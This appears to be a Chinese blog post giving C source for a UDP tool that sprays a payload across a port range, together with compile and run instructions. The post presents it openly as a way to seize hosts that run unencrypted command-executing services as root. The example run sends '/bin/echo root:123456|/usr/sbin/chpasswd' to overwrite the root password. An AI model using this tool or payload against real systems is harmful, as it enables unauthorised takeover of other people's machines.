遍历指定端口进行扫描,并发送指定UDP报文,有些系统中,如果做了某个服务用于接收shell命令并执行,并且没有任何数据协议加密,同时是以root用户运行的,那么你发送一个修改root密码的命令过去,这台主机就是你的了。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <arpa/inet.h> #include <unistd.h> int send_udp_to_host(int sock,char *ip,unsigned int port,char *content) { int ret; fd_set readfd; struct timeval timeout; struct sockaddr_in toAddr; //在recvfrom中使用的对方主机地址 struct sockaddr_in fromAddr; unsigned int fromLen; char recvBuffer[1024]; memset(&toAddr,0,sizeof(toAddr)); toAddr.sin_family=AF_INET; toAddr.sin_addr.s_addr=inet_addr(ip); toAddr.sin_port = htons(port); if(sendto(sock,content,strlen(content),0,(struct sockaddr*)&toAddr,sizeof(toAddr)) != strlen(content)) { printf("sendto() 函数使用失败了.\n"); return (-1); } timeout.tv_sec=0; timeout.tv_usec=5000; FD_ZERO(&readfd); FD_SET(sock,&readfd); ret=select(sock+1,&readfd,NULL,NULL,&timeout); if(ret) { if(FD_ISSET(sock,&readfd)) { fromLen = sizeof(fromAddr); if(recvfrom(sock,recvBuffer,1024,0,(struct sockaddr*)&fromAddr,&fromLen)<0) { printf("recvfrom()函数使用失败了.\r\n"); return (-1); } printf("IP:[%s] PORT:[%d] result:[%s]\n",ip,port,recvBuffer); } } return 0; } int main(int argc, char *argv[]) { if(argc != 5) { printf("%s [ip] [begin port] [end port] [content]\n",argv[0]); exit(0); } int sock; unsigned int index = 0; unsigned int begin_port =atoi(argv[2]); unsigned int end_port = atoi(argv[3]); //sendto中使用的对方地址 if(begin_port<1 || end_port > 65536 || end_port < begin_port) { printf("端口范围错误!\n"); return -1; } sock = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP); if(sock < 0) { printf("创建套接字失败了.\r\n"); return (-1); } for(index=begin_port; index<=end_port; index++) { //printf("开始扫描端口%d\n",index); send_udp_to_host(sock,argv[1],index,argv[4]); /* //printf("开始扫描端口%d\n",index); pid_t pid; pid = fork(); if(pid<0) { perror("fork error!\n"); return -1; } else if(pid == 0) { send_udp_to_host(sock,argv[1],index,argv[4]); } else { exit(1);//parent } */ } printf("发送完成!\n"); close(sock); return 0; }
代码写的比较随意,如果不考虑收包的情况,可以把接收部分的代码去掉。
编译:gcc udp_scan.c -o udp_scan
运行:./udp_scan 192.168.0.1 30000 36533 "/bin/echo root:123456|/usr/sbin/chpasswd"
其中192.168.0.1为对方主机IP,30000为起始扫描端口,36533为结束扫描端口,后面引号中为修改root密码的命令。
- 微信扫码赞助
-
- 支付宝赞助
-